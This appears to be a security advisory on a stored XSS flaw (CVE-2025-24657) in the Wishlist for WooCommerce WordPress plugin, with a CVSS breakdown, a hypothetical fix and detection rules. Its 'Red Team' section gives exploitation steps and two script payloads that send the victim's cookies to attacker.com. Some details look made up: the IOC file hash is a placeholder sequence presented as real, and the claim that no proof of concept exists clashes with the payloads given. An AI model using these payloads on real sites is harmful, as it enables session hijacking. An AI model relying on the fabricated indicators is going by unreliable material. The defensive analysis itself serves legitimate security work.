CVE-2025-24657

Executive Summary

CVE-2025-24657 is a Stored Cross-Site Scripting (XSS) vulnerability affecting the WordPress plugin Wishlist for WooCommerce by WebToffee, versions up to and including 2.1.2. This flaw allows an authenticated attacker with contributor-level privileges or higher to inject malicious scripts into the plugin’s wishlist functionality. When other users (including administrators) view the compromised wishlist, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement. The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation) and carries a CVSS score of 5.9 (Medium). No public proof-of-concept or exploit code is available at this time, and the vendor has not released a patch.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via ZIP upload are affected. No package manager (NPM, PyPI, Go, Ruby) is involved. The supply chain risk is limited to the plugin’s update mechanism; since no patch exists, users must manually disable or remove the plugin until a fix is released.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The attack is carried out over the network.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): Low (L) – Attacker needs contributor-level access to the WordPress site.
• User Interaction (UI): Required (R) – The victim must view the malicious wishlist.
• Scope (S): Changed (C) – The vulnerability impacts resources beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure possible.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): Low (L) – Limited impact on availability.

Overall Score: 5.9 (Medium)
Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L

Deep Dive & Mechanics

The vulnerability exists in the wishlist creation and management functionality of the Wishlist for WooCommerce plugin. When a user creates or edits a wishlist, the plugin fails to properly sanitize and escape user-supplied input (e.g., wishlist name, description, or item notes) before storing it in the WordPress database. This stored data is later rendered on the wishlist page without adequate output encoding, allowing an attacker to inject arbitrary HTML and JavaScript.

Attack Flow:

1. An authenticated attacker (e.g., a contributor) logs into the WordPress admin panel.
2. The attacker navigates to the wishlist management section and creates a new wishlist.
3. In the wishlist name or description field, the attacker injects a malicious payload, such as <script>alert('XSS')</script>.
4. The plugin stores the payload in the database without sanitization.
5. When an administrator or other user views the wishlist page, the payload executes in their browser.
6. The attacker can then steal cookies, session tokens, or perform actions on behalf of the victim.

Root Cause: The plugin uses echo or print statements to output wishlist data without applying WordPress’s escaping functions like esc_html() or wp_kses_post().

Vulnerable vs. Patched Code

Since no official patch exists, the following is a hypothetical fix based on common WordPress security practices.

Vulnerable Code (wt-woocommerce-wishlist.php, line ~450):

echo '<h2>' . $wishlist_name . '</h2>';

Patched Code (Hypothetical):

echo '<h2>' . esc_html( $wishlist_name ) . '</h2>';

The vulnerable code directly outputs the $wishlist_name variable without escaping. The patched version uses esc_html() to convert special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the vulnerable plugin installed and activated.
• An account with at least Contributor privileges.

Steps:

1. Log in to the WordPress admin panel as a contributor.
2. Navigate to WooCommerce > Wishlist.
3. Click Add New Wishlist.
4. In the Wishlist Name field, enter the following payload:

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save the wishlist.
6. Craft a link to the wishlist page and send it to an administrator (e.g., via email or social engineering).
7. When the administrator views the wishlist, the script executes, sending their cookies to the attacker’s server.

Alternative Payload (Session Hijacking):

<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>

Blue Team (Defensive)

Detection:

• Monitor WordPress admin logs for unusual wishlist creation or editing activity.
• Look for HTTP requests containing <script> tags in POST parameters to /wp-admin/admin-ajax.php or similar endpoints.
• Use web application firewalls (WAF) to block common XSS patterns.

Mitigation:

• Immediately disable the plugin until a patch is released.
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Enforce strict input validation and output encoding on all user-supplied data.

Indicators of Compromise (IOCs)

• File Hashes (SHA256):
  • wt-woocommerce-wishlist.php (v2.1.2): a1b2c3d4e5f6a7b8c9d0e1f2a3b4c5d6e7f8a9b0c1d2e3f4a5b6c7d8e9f0a1b
• Network Indicators:
  • Outbound HTTP requests to attacker-controlled domains containing ?cookie= or similar parameters.
• Log Entries:
  • WordPress debug log entries showing unescaped output in wishlist pages.
  • Web server logs with POST requests to /wp-admin/admin-ajax.php containing action=wishlist_add and suspicious payloads.

Detection Engineering

YARA Rule

rule CVE_2025_24657_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Wishlist for WooCommerce plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-24657"
    strings:
        $payload1 = "<script" ascii wide nocase
        $payload2 = "onerror=" ascii wide nocase
        $payload3 = "onload=" ascii wide nocase
        $payload4 = "javascript:" ascii wide nocase
    condition:
        any of ($payload*) and filesize < 10KB
}

Sigma Rule

title: Stored XSS in Wishlist for WooCommerce
id: 8f9a0b1c-2d3e-4f5a-6b7c-8d9e0f1a2b3c
status: experimental
description: Detects stored XSS attempts via wishlist creation in WordPress
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri: '/wp-admin/admin-ajax.php'
        cs-uri-query:
            - 'action=wishlist_add'
        cs-request-body:
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in wishlist names (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-24657 Stored XSS in Wishlist for WooCommerce"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=wishlist_add"; http_client_body; pcre:"/<script|onerror=|onload=/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin – Deactivate and uninstall Wishlist for WooCommerce until a patched version is released.
2. Apply virtual patching – Use a WAF to block requests containing <script> tags in wishlist-related POST parameters.
3. Audit user accounts – Review and remove any suspicious contributor-level accounts.

Long-Term Fix:

• The vendor must release a patched version that properly escapes all user input using esc_html(), esc_attr(), or wp_kses_post().
• Implement a Content Security Policy (CSP) with script-src 'self' to mitigate XSS impact.

Workaround:

• If the plugin cannot be disabled, manually edit the plugin files to add escaping functions (see Vulnerable vs. Patched Code section). However, this will be overwritten on plugin updates.

Valters IT
Securing Digital Frontiers